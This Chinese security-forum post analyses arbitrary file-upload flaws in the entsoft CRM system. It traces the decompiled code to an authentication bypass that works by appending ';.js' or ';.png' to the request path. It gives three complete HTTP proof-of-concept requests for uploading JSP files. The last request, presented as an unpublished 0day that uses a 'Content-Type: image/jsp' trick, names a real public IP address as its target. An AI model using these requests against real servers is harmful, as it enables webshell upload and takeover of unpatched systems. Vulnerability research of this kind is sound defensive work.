安全矩阵

 找回密码
 立即注册
搜索
查看: 869|回复: 0

某恩特漏洞分析

[复制链接]

215

主题

215

帖子

701

积分

高级会员

Rank: 4

积分
701
发表于 2023-12-1 15:45:57 | 显示全部楼层 |阅读模式
本帖最后由 alyssa 于 2023-12-1 15:48 编辑

0X01 前言
最近这段时间某恩特,公众号到处在发,该系统的0day漏洞,可谓是漫天飞了,且利用方式也及其简单,本文就是对该系统目前所爆出来的漏洞进行一个漏洞分析,并在最后给出一个该系统未被公布的0day
基本上都是这两天的,非常的集中



0X02 漏洞分析
我们来看一下最开始原始的POC

  1. <p>POST /entsoft_en/entereditor/jsp/fileupload.jsp?filename=1.jsp HTTP/1.1</p><p>Host: x.x.x.x</p><p>User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15</p><p>Connection: close</p><p>Content-Length: 27</p><p>Accept: /</p><p>Accept-Encoding: gzip, deflate</p><p>Accept-Language: en</p><p>Content-Type: application/x-www-form-urlencoded</p>
复制代码


11111
定位到fileupload.jsp文件,只能说相当的简单粗暴有没有,获取输入流,获取文件名,直接保存导致任意文件上传的发生



但实际在测试过程中,发现该漏洞影响范围并不是很多,很多均进行了修复,我在测试过程中仅仅成功了2个

且这套系统对jsp之类的脚本文件均做了鉴权,也就是说先前爆出来的漏洞fileupload.jsp在开发者允许访问白名单中



继续深入探索,查看web.xml,发现Filter,通过jd-gui反编译common.jar文件即可查看相关代码



从字面意思上,就可以看见排除了如下后缀,和路径文件




其判断鉴权部分模块,通过contains来判断是否包含需要排除的字符和路径




所以访问jsp文件或者需要登录的文件我们可以通过在后缀;.js ;.jpg;.html等方式绕过登录限制








而entsoft_en也赫然在列,再去看看entsoft中的filupload.jsp,和其他相关的upload




依然是个妥妥的任意文件上传,只不过判断了文件是否是jpg,如果是后缀就变成了jpeg




继续查看web.xml



定位到实现类,




反编译查看



定位到MailAction,获取到了三个参数,method,act,eid,后面判断method和act是对应的值,如果是则跳到对应的实现方法中,比如saveAttaFile�
我们主要看获取文件名的操作,以及文件名是否可控,可以看见,并未对文件后缀进行任何过滤,导致任意文件上传的发生



利用POC
  1. <p>POST /entsoft/MailAction.entphone;.png?act=saveAttaFile HTTP/1.1</p><p>Host: xx</p><p>Upgrade-Insecure-Requests: 1</p><p>User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36</p><p>Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed exchange;v=b3;q=0.9</p><p>Accept-Encoding: gzip, deflate</p><p>Accept-Language: zh-CN,zh;q=0.9</p><p>Content-Type: multipart/form-data; boundary=----WebKitFormBoundarye8FPHsIAq9JN8j2A</p><p>Content-Length: 179</p><p>
  2. </p><p>------WebKitFormBoundarye8FPHsIAq9JN8j2A</p><p>Content-Disposition: form-data; name="file";filename="beautif.js"</p><p>Content-Type: xxx/txt</p>
复制代码


1
------WebKitFormBoundarye8FPHsIAq9JN8j2A--
POC中的;.png同上,绕过登录限制,继续查看该代码文件发现其AppUpload�方法也存在文件上传功能,其文件名判断了contentype是否不为空,以及contentype是否包含image,之后在取contentype中的值作为后缀,我们可以通过image/jsp绕过









最新的POC
  1. <p>POST /entsoft/MailAction.entphone;.js?act=AppUpload&bodyID=1 HTTP/1.1</p><p>Host: 47.91.254.208</p><p>User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/112.0</p><p>Accept: application/json, text/javascript, /; q=0.01</p><p>Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2</p><p>Accept-Encoding: gzip, deflate</p><p>X-Requested-With: XMLHttpRequest</p><p>Content-Type: multipart/form-data; boundary=---------------------------255059884712683317431739889351</p><p>Content-Length: 259</p><p>Origin:</p><p>Connection: close</p><p>Referer:</p><p>Cookie:</p><p>
  2. </p><p>-----------------------------255059884712683317431739889351</p><p>Content-Disposition: form-data; name="file"; filename="1.png"</p><p>Content-Type: image/jsp</p><p>
  3. </p><p><%= (new java.util.Date()).toLocaleString()%></p><p>-----------------------------255059884712683317431739889351--</p>
复制代码

其他Action中基本上只要有上传基本上都有该类问题,比如/entsoft/CustomerAction.entphone;.js?method=loadFile,注入什么的也不少,该有的漏洞他都有,主要该系统影响的范围也不小,基本上都是通杀的类型。
0X03 总结
感觉最值得利用的一点就是鉴权绕过的方式,我们在黑盒测试的过程中,可以多试试;.js ;.png 之类的方式,以及通过/xxx可访问的路径/../鉴权路径目录穿越的方式,说不定也有奇效,总之需要不断的学习呀,如有问题欢迎各位师傅指正。

来源:https://xz.aliyun.com/ 感谢【AGONI】

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-27 22:20 , Processed in 0.014371 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表